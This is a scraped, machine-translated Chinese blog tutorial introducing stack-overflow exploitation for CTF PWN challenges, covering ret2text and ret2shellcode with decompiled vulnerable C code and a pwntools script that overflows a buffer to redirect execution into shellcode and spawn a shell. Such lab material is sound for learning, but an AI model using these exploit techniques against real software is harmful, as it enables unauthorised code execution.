当前位置:网站首页>PWN Introduction (2) stack overflow Foundation
PWN Introduction (2) stack overflow Foundation
2022-06-30 05:07:00 【Day-3】
1 C Language function call stack

32 Function stack structure under bit .












Operation process .













2 ret2text

out of buffer (Buffer overflow)
The essence is to write extra long data to a fixed length buffer , The excess data overwrites the legal memory area
- Stack overflow (Stack overflow)
Most common 、 Highest vulnerability ratio 、 The most harmful binary vulnerability
stay CTF PWN Is often the basis of vulnerability exploitation - Heap overflow (Heap overflow)
The heap manager is complex , Various patterns are used
CTF PWN Common questions in - Data Segment overflow
The attack effect depends on Data paragraph What control data is stored on the
Tampering with the return address on the stack frame is an existing backdoor function in the program .


First , We have such a document in our hands ret2text.

Throw in IDA in , Get the code , Three functions are useful .
int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
puts("Have you heard of buffer overflow?");
vulnerable();
puts("It seems that you know nothing about it ......");
return 0;
}
int vulnerable()
{
char buffer[8]; // [esp+8h] [ebp-10h] BYREF
gets(buffer);
return 0;
}
int get_shell()
{
system("/bin/sh");
return 0;
}
We turn on gdb, debug .
Input n Skip until you reach the fragile function .
Input s Enter function .
View stack .
Specify what needs to be entered payload.
Use Python The attack , Finally get shell.
You can also write scripts , Logic is the same .
3 ret2shellcode


pwntools Generate shellcode.32 position .
asm(shellcraft.sh())
64 position
context.arch = "amd64"
shellcraft.amd64.sh()
We will ret2shellcode Put in IDA in .
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s[100]; // [esp+1Ch] [ebp-64h] BYREF
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(s);
strncpy(buf2, s, 0x64u);
printf("bye bye ~");
return 0;
}
Suppose that the server is opened aslr Protect .
Enable gdb Dynamic debugging .

Dynamic debugging results and ida The results are different , We are subject to the dynamic debugging results .
Write a script :
from pwn import *
sh = process("./ret2shellcode")
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080
sh.sendline(shellcode.ljust(112,b'A') + p32(buf2_addr))
sh.interactive()

Successful attack .
边栏推荐
- JPA复合主键使用
- Unity realizes rotation and Revolution
- Unity packaging and publishing webgl error reason exception: failed building webgl player
- Output directory of log files after unity3d packaging
- How to install win7 on AMD Ruilong CPU A320 series motherboard
- Oracle-数据的基本操作
- Go Land no tests were Run: FMT cannot be used. Printf () & lt; BUG & gt;
- Nestjs中控制器和路由的配置使用
- A must see cruise experience in Bangkok: visit the Mekong River and enjoy the scenery on both sides of the river
- 2021-06-17 solve the problem of QML borderless window stretching, window jitter and flicker when stretching and shrinking
猜你喜欢

Ripple effect of mouse click (unity & shader)

力扣27. 移除元素

Generate a slice of mesh Foundation

Create a simple battle game with photon pun

Force buckle 349 Intersection of two arrays

Create transfer generation point

Force buckle 704 Binary search

Exploration of unity webgl

Unity3d Google Earth

Deeply understand the function calling process of C language
随机推荐
Chapter 8 primitive processing of OpenGL super classic (version 7)
On mask culling of unity
Unity project hosting platform plasticscm (learn to use 2)
z-index属性在什么情况下会失效?
Log writing specification
Unity + hololens2 performance test
Malignant bug: 1252 of unit MySQL export
Have a heart beating Valentine's day in Singapore
What is multimodal interaction?
Solution to Autowired annotation warning
Basic operations of Oracle data
Singapore must visit these scenic spots during the Spring Festival
Unity automatic pathfinding
Steamvr causes abnormal scene camera
Golan no tests were run: fmt Printf() < BUG>
力扣2049:统计最高分的节点数目
Create a simple battle game with photon pun
Introduction to some representations, neighbors and degrees of Graphs
Force buckle 977 Square of ordered array
The difference between SVG and canvas